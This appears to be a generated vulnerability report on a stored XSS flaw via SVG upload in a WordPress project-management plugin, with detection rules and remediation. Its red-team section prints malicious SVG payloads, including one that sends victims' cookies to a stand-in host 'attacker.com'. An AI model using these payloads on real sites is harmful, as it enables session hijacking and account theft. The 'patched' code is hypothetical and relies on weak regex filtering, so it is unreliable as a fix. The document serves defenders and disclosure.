CVE-2025-2541
Executive Summary
CVE-2025-2541 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Project Manager WordPress plugin (versions up to and including 2.6.22). The flaw resides in insufficient input sanitization and output escaping during SVG file uploads. An authenticated attacker with Author-level access or higher can upload a malicious SVG file containing arbitrary JavaScript. When any user (including administrators) views the uploaded SVG file, the injected script executes in their browser session, potentially leading to session hijacking, defacement, or privilege escalation within the WordPress context.
This vulnerability is specific to the WordPress ecosystem and does not involve the underlying web server (Apache/Nginx). The CVSS score of 6.4 (Medium) reflects the requirement for authenticated access but the potential for significant impact due to stored payload persistence.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The risk is limited to WordPress sites running the vulnerable plugin version.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Requires Author-level or higher WordPress account.
- User Interaction (UI): Required (R) – Victim must view the uploaded SVG file.
- Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): Low (L) – Limited service disruption.
Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored nature of the payload and the potential for privilege escalation make it a serious concern for multi-user WordPress sites.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS via file upload. The WP Project Manager plugin allows users with Author-level permissions to upload files, including SVG images. The plugin fails to properly sanitize the SVG file content and does not escape the output when the file is served to users.
Attack Flow:
- An attacker with Author-level access logs into WordPress.
- The attacker creates a new project or task and uploads an SVG file containing embedded JavaScript (e.g.,
<script>alert('XSS')</script>or a more sophisticated payload). - The plugin stores the SVG file on the server without stripping the malicious script.
- When any user (including administrators) navigates to the page displaying the uploaded SVG, the browser renders the SVG and executes the embedded script.
- The script can steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.
Root Cause: The plugin uses wp_upload_bits() or similar functions to store the file but does not validate the MIME type or content of SVG files. Additionally, when displaying the file, it likely uses wp_get_attachment_url() or direct file paths without applying esc_url() or content sanitization.
Vulnerable vs. Patched Code
Vulnerable Code (wp-project-manager/includes/upload.php or similar):
// No MIME type validation or content sanitization
$upload = wp_upload_bits($_FILES['file']['name'], null, file_get_contents($_FILES['file']['tmp_name']));
// Directly stores the file without checking for SVG content
Patched Code (Hypothetical):
// Validate MIME type and sanitize SVG content
$file_type = wp_check_filetype($_FILES['file']['name']);
if ($file_type['ext'] === 'svg') {
$svg_content = file_get_contents($_FILES['file']['tmp_name']);
// Remove script tags and event handlers
$svg_content = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $svg_content);
$svg_content = preg_replace('/\bon\w+\s*=\s*"[^"]*"/i', '', $svg_content);
$upload = wp_upload_bits($_FILES['file']['name'], null, $svg_content);
} else {
// Handle other file types normally
}
Note: Since no official patch is available, the above is a recommended fix.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with WP Project Manager plugin <= 2.6.22.
- Author-level account credentials.
Step 1: Create a malicious SVG file
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<script type="text/javascript">
alert('XSS');
</script>
<circle cx="50" cy="50" r="40" stroke="green" stroke-width="4" fill="yellow" />
</svg>
Step 2: Upload the SVG file via the plugin's file upload functionality
- Navigate to a project or task.
- Use the file upload field to select and upload the malicious SVG.
Step 3: Trigger the payload
- Share the URL of the uploaded SVG with the victim.
- When the victim views the page, the script executes.
Advanced Payload (Cookie Stealing):
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<script type="text/javascript">
var img = new Image();
img.src = 'http://attacker.com/steal.php?cookie=' + document.cookie;
</script>
<circle cx="50" cy="50" r="40" stroke="green" stroke-width="4" fill="yellow" />
</svg>
Blue Team (Detection & Response)
Detection Steps:
- Monitor file upload logs for SVG files uploaded by Author-level users.
- Inspect SVG files for embedded
<script>tags or event handlers (e.g.,onload,onclick). - Review web server logs for requests to SVG files with unusual patterns.
Response:
- Immediately disable the WP Project Manager plugin if no patch is available.
- Remove any suspicious SVG files from the uploads directory.
- Reset all user sessions and force password changes.
- Implement a Web Application Firewall (WAF) rule to block SVG uploads containing scripts.
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (Example – actual hashes will vary)
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(malicious SVG)
- File Paths:
/wp-content/uploads/wp-project-manager/*.svg
- Network Indicators:
- Outbound HTTP requests to attacker-controlled domains from SVG files.
- Log Entries:
- WordPress audit logs showing SVG file uploads by Author-level users.
- Web server logs with
GET /wp-content/uploads/wp-project-manager/malicious.svgentries.
Detection Engineering
YARA Rule
rule CVE_2025_2541_SVG_XSS {
meta:
description = "Detects malicious SVG files exploiting CVE-2025-2541"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-2541"
strings:
$svg_header = "<?xml" ascii wide nocase
$svg_tag = "<svg" ascii wide nocase
$script_tag = "<script" ascii wide nocase
$on_event = /\bon\w+\s*=/ ascii wide nocase
condition:
$svg_header and $svg_tag and ($script_tag or $on_event)
}
Sigma Rule
title: CVE-2025-2541 - Stored XSS via SVG Upload in WP Project Manager
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SVG file uploads containing script tags or event handlers in WordPress
author: Valters IT
date: 2025-04-10
logsource:
category: file_event
product: linux
detection:
selection:
TargetFilename|endswith: '.svg'
TargetFilename|contains: '/wp-content/uploads/wp-project-manager/'
filter:
- TargetFilename|contains: 'clean' # Exclude known clean files
condition: selection and not filter
falsepositives:
- Legitimate SVG files with embedded scripts (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-2541 - Stored XSS via SVG Upload in WP Project Manager"; flow:to_server; content:"POST"; http_method; content:"/wp-content/plugins/wp-project-manager/"; http_uri; content:".svg"; file.data; content:"<script"; within:1000; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if no patch is available.
- Remove all SVG files from the uploads directory.
- Implement a WAF rule to block SVG uploads containing
<script>or event handlers.
Long-term Fix:
- Apply the official patch when released by the vendor.
- If no patch is forthcoming, consider replacing the plugin with an alternative.
Code-Level Mitigation (for developers):
- Add MIME type validation to reject SVG files or sanitize them using a library like
enshrined/svg-sanitize. - Use
wp_kses()oresc_url()when outputting file URLs. - Implement a content security policy (CSP) header to restrict script execution.
Valters IT Signature
Report generated by Valters IT DevSecOps Intelligence Unit
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.